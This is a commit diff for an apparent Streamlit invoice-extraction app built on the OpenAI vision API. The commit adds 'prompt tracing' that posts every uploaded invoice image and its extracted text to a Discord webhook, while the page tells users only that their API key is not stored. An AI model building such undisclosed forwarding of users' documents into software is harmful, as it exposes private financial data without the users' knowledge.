Spaces:
Running
Running
Commit
·
0644d4b
1
Parent(s):
7110704
added prompt tracing
Browse files- app.py +15 -6
- requirements.txt +3 -5
- utils.py +38 -0
app.py
CHANGED
@@ -4,11 +4,16 @@ import utils
|
|
4 |
|
5 |
# Set up the sidebar
|
6 |
# Ask the user for an API key in the sidebar
|
7 |
-
os.environ["OPENAI_API_KEY"] = st.sidebar.text_input("OpenAI API Key", type="password")
|
|
|
8 |
|
9 |
-
# Main body of the app
|
10 |
# Display a title
|
11 |
-
st.title("Invoice
|
|
|
|
|
|
|
|
|
|
|
12 |
|
13 |
if os.environ["OPENAI_API_KEY"] == "":
|
14 |
disable_file_uploader = True
|
@@ -17,9 +22,13 @@ else:
|
|
17 |
disable_file_uploader = False
|
18 |
|
19 |
# Add a file uploader widget
|
20 |
-
uploaded_file = st.file_uploader("Upload invoice image", type=['png', 'jpg'], disabled=disable_file_uploader)
|
21 |
|
22 |
if uploaded_file is not None:
|
|
|
|
|
23 |
response = utils.pass_to_openai_vision_api(uploaded_file)
|
24 |
-
st.
|
25 |
-
st.
|
|
|
|
|
|
4 |
|
5 |
# Set up the sidebar
|
6 |
# Ask the user for an API key in the sidebar
|
7 |
+
os.environ["OPENAI_API_KEY"] = st.sidebar.text_input("Your OpenAI API Key", type="password")
|
8 |
+
st.sidebar.caption(":red[Note:] OpenAI API key will not stored and automatically deleted from the logs at the end of your web session.")
|
9 |
|
|
|
10 |
# Display a title
|
11 |
+
st.title("Invoice Buddy")
|
12 |
+
|
13 |
+
# Short description of the app
|
14 |
+
st.markdown("""
|
15 |
+
### Extract information from invoices
|
16 |
+
""")
|
17 |
|
18 |
if os.environ["OPENAI_API_KEY"] == "":
|
19 |
disable_file_uploader = True
|
|
|
22 |
disable_file_uploader = False
|
23 |
|
24 |
# Add a file uploader widget
|
25 |
+
uploaded_file = st.file_uploader("Upload invoice image (png, jpg, jpeg)", type=['png', 'jpg'], disabled=disable_file_uploader)
|
26 |
|
27 |
if uploaded_file is not None:
|
28 |
+
utils.empty_directory('data')
|
29 |
+
utils.save_uploaded_file('data', uploaded_file)
|
30 |
response = utils.pass_to_openai_vision_api(uploaded_file)
|
31 |
+
st.markdown('Data extracted from invoice is ')
|
32 |
+
st.markdown(response)
|
33 |
+
utils.make_discord_trace_multimodal(image_path=os.path.join('data', uploaded_file.name), text_message=response)
|
34 |
+
utils.empty_directory('data')
|
requirements.txt
CHANGED
@@ -1,6 +1,4 @@
|
|
1 |
streamlit==1.25.0
|
2 |
-
|
3 |
-
|
4 |
-
|
5 |
-
openai
|
6 |
-
matplotlib
|
|
|
1 |
streamlit==1.25.0
|
2 |
+
openai==1.12.0
|
3 |
+
discord-webhook==1.3.1
|
4 |
+
python-dotenv==1.0.1
|
|
|
|
utils.py
CHANGED
@@ -1,6 +1,44 @@
|
|
1 |
import base64
|
2 |
import requests
|
3 |
import os
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
4 |
|
5 |
def pass_to_openai_vision_api(image):
|
6 |
# OpenAI API Key
|
|
|
1 |
import base64
|
2 |
import requests
|
3 |
import os
|
4 |
+
import shutil
|
5 |
+
from discord_webhook import DiscordWebhook
|
6 |
+
from dotenv import load_dotenv
|
7 |
+
|
8 |
+
load_dotenv() # take environment variables from .env.
|
9 |
+
|
10 |
+
def empty_directory(directory):
|
11 |
+
# Check if the directory exists
|
12 |
+
if not os.path.exists(directory):
|
13 |
+
return
|
14 |
+
|
15 |
+
# Iterate over all files and directories within the specified directory
|
16 |
+
for item in os.listdir(directory):
|
17 |
+
item_path = os.path.join(directory, item) # Get the full path of the item
|
18 |
+
|
19 |
+
# Check if the item is a file or directory and delete accordingly
|
20 |
+
if os.path.isfile(item_path):
|
21 |
+
os.remove(item_path) # Remove the file
|
22 |
+
elif os.path.isdir(item_path):
|
23 |
+
shutil.rmtree(item_path) # Remove the directory and all its contents
|
24 |
+
|
25 |
+
def save_uploaded_file(directory, file):
|
26 |
+
if not os.path.exists(directory):
|
27 |
+
os.makedirs(directory)
|
28 |
+
file_path = os.path.join(directory, file.name)
|
29 |
+
with open(file_path, "wb") as f:
|
30 |
+
f.write(file.getbuffer())
|
31 |
+
return file_path
|
32 |
+
|
33 |
+
def make_discord_trace_multimodal(image_path, text_message):
|
34 |
+
webhook = DiscordWebhook(url=os.environ["DISCORD_HOOK"],
|
35 |
+
username="invoice parsing using GPT_Vision",
|
36 |
+
content=text_message)
|
37 |
+
|
38 |
+
# send two images
|
39 |
+
with open(image_path, "rb") as f:
|
40 |
+
webhook.add_file(file=f.read(), filename="input.jpg")
|
41 |
+
webhook.execute()
|
42 |
|
43 |
def pass_to_openai_vision_api(image):
|
44 |
# OpenAI API Key
|